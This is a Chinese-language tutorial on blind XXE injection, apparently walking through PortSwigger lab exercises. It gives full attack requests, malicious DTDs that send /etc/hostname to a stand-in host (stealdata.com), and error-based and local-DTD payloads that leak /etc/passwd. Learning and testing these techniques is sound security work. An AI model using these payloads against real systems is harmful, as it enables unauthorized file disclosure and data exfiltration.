XXE相關介紹如下
當應用程式受到XXE注入但在回應中沒有任何攻擊結果時,很難知道是否有XXE漏洞。因此需要透過一些盲注的方法去判斷,常見的偵測方法有兩種
- 使用OAST技術偵測
- 使用參數實體偵測
使用OAST技術偵測
舉例如下,要求XXE讓伺服器向outside web發出HTTP請求。攻擊者可以監視DNS並查找HTTP 請求,從而偵測XXE攻擊是否成功。
################## attack request ##################
POST /product/stock HTTP/1.1
...omit...
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://outside web"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
################## attack response ##################
HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 20
"Invalid product ID"
Lab: Blind XXE with out-of-band interaction
使用參數實體偵測
由於應用程式的輸入驗證,使得一般的XXE攻擊被阻止,在這種情況下,可以嘗試使用 XML parameter entities
參數實體。這是一種特殊類型的 XML 實體,只能在DTD中的其他位置引用,用法是在實體名稱之前加入%
,如下
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://outsiteweb"> %xxe; ]>
舉例如下,要求XXE讓伺服器向outside web發出HTTP請求,從而偵測XXE攻擊是否成功。
################## attack request ##################
POST /product/stock HTTP/1.1
...omit...
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://outside web"> %xxe; ]>
<stockCheck><productId>9</productId><storeId>1</storeId></stockCheck>
################## attack response ##################
HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 15
"Parsing error"
Lab: Blind XXE with out-of-band interaction via XML parameter entities
確定有XXE漏洞後,可以使用以下幾種盲注技巧,取得數據
- 利用外部DTD取得數據
- 透過錯誤訊息檢索數據
- 利用內部DTD取得數據
利用外部DTD取得數據
方法如下,先準備一個拿取數據的網址https://stealdata.com
,在準備一個DTD網址https://dtd.website/malicious.dtd
,內容如下
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'https://stealdata.com/?x=%file;'>">
%eval;
%exfil;
以上內容說明如下
- 定義一個名為XML 參數實體
file
,包含檔案的內容/etc/hostname
。 - 定義一個參數實體
eval
,包含另一個參數實體的動態宣告exfil
,其中url包含剛剛定義的file
- 使用%eval;讓exfil 可以執行,接著使用%exfil;讓url可以運作
接著在請求中把剛剛DTD網址位置放入XXE中,如下
################## attack request ##################
POST /product/stock HTTP/1.1
...omit...
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://dtd.website/malicious.dtd"> %xxe;]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
################## attack response ##################
HTTP/1.1 400 Bad Request
...omit...
"Parsing error"
一旦攻擊成功,服務器就會將/etc/hostname內容送到https://stealdata.com
,只要查看日志就會看到類似以下信息,a2dd82d1b9eb
為/etc/hostname的內容
GET /?x=a2dd82d1b9eb HTTP/1.1
Lab: Exploiting blind XXE to exfiltrate data using a malicious external DTD
透過錯誤訊息檢索數據
如果應用程式會在回應中返回錯誤訊息,可使用惡意外部DTD觸發包含檔案內容的XML解析錯誤訊息。
方法如下,準備一個DTD網址https://dtd.website/malicious.dtd
,內容如下
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'file:///invalid/%file;'>"
%eval;
%exfil;
上述內容和剛剛的差不多,唯一不同的是第二行要指定一個不存在的檔案
接著在請求中把剛剛DTD網址位置放入XXE中,如下
################## attack request ##################
POST /product/stock HTTP/1.1
...omit...
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://dtd.website/malicious.dtd"> %xxe;]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
################## attack response ##################
HTTP/1.1 400 Bad Request
...omit...
"XML parser exited with non-zero code 1: /invalid/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...omit...
呼叫惡意外部DTD將導致返回錯誤訊息,並顯示/etc/passwd內容
Lab: Exploiting blind XXE to retrieve data via error messages
利用內部DTD取得數據
如果文件的DTD使用內部和外部DTD聲明的混合,則內部DTD可以重新定義在外部DTD中聲明的實體。發生這種情況時,在另一個參數實體的定義中使用XML參數實體的限制就會放寬。這意味著攻擊者可以在內部DTD中使用基於錯誤的XXE技術
例如,假設伺服器檔案系統上的位置有一個DTD文件/usr/share/yelp/dtd/docbookx.dtd
,並且該DTD文件定義了一個名為ISOamso
的實體,如果攻擊者如果想看/etc/passwd,可以混合其內容並觸發 XML 解析錯誤訊息,如下
################## attack request ##################
POST /product/stock HTTP/1.1
...omit...
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
################## attack response ##################
HTTP/1.1 400 Bad Request
...omit...
"XML parser exited with non-zero code 1: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
Lab: Exploiting XXE to retrieve data by repurposing a local DTD